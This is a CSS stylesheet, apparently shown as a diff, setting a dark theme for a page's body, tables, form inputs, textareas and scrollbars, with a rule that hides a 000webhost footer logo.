url("https://fonts.googleapis.com/css2?family=Noto+Sans&display=swap"); + +* { + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; + text-rendering: optimizeLegibility; +} + +body { + display: block; + background-color: #2e3440; + color: #e5e9f0; + font-family: roboto, sans-serif; + font-size: 11px; + line-height: 2em; + text-align: center; +} + +form { + display: inline; +} + +a:hover { + color: #7f7f7f; +} + +a { + color: #e5e9f0; + text-decoration: none; +} + +b { + font-family: roboto, sans-serif; + letter-spacing: 1.6px; +} + +table { + width: 100%; +} + +th { + border: #e5e9f0 1px solid; + font-size: 15px; +} + +td { + border: #e5e9f0 1px solid; +} + +input, +textarea, +select, +button { + color: #e5e9f0; + background-color: #2e3440; + border: 1px solid #e5f0e9; + font-size: 11px; +} + +textarea { + width: 100%; + -ms-overflow-style: none; + scrollbar-width: none; +} + +#l { + text-align: left; +} + +#r { + text-align: right; +} + +#c { + text-align: center; +} + +#emem { + width: 15em; +} + +#ememm { + width: 32.4em; +} + +.inf { + color: #7f7f7f; +} + +::placeholder { + color: #e5e9f0; + opacity: 1; +} + +:-ms-input-placeholder { + color: #e5e9f0; +} + +::-ms-input-placeholder { + color: #e5e9f0; +} + +@media screen and (max-width: 600px) { + table { + display: block; + overflow-x: auto; + white-space: nowrap; + } +} + +@supports (-moz-appearance: none) { + #ememm { + width: 32em; + } + b { + letter-spacing: 1.6px; + } +} +::-webkit-scrollbar { + width: 4px; + height: 6px; +} +::-webkit-scrollbar-track { + -webkit-border-radius: 10px; + border-radius: 10px; + -webkit-box-shadow: inset 0 0 6px #2e3440; +} +::-webkit-scrollbar-thumb { + background: #e5e9f0; + -webkit-border-radius: 0; + border-radius: 0; +} +::-webkit-scrollbar-thumb:window-inactive { + background: #e5e9f0; +} + +img[src*="https://cdn.000webhost.com/000webhost/logo/footer-powered-by-000webhost-white2.png"] +{ + display: none !important; +}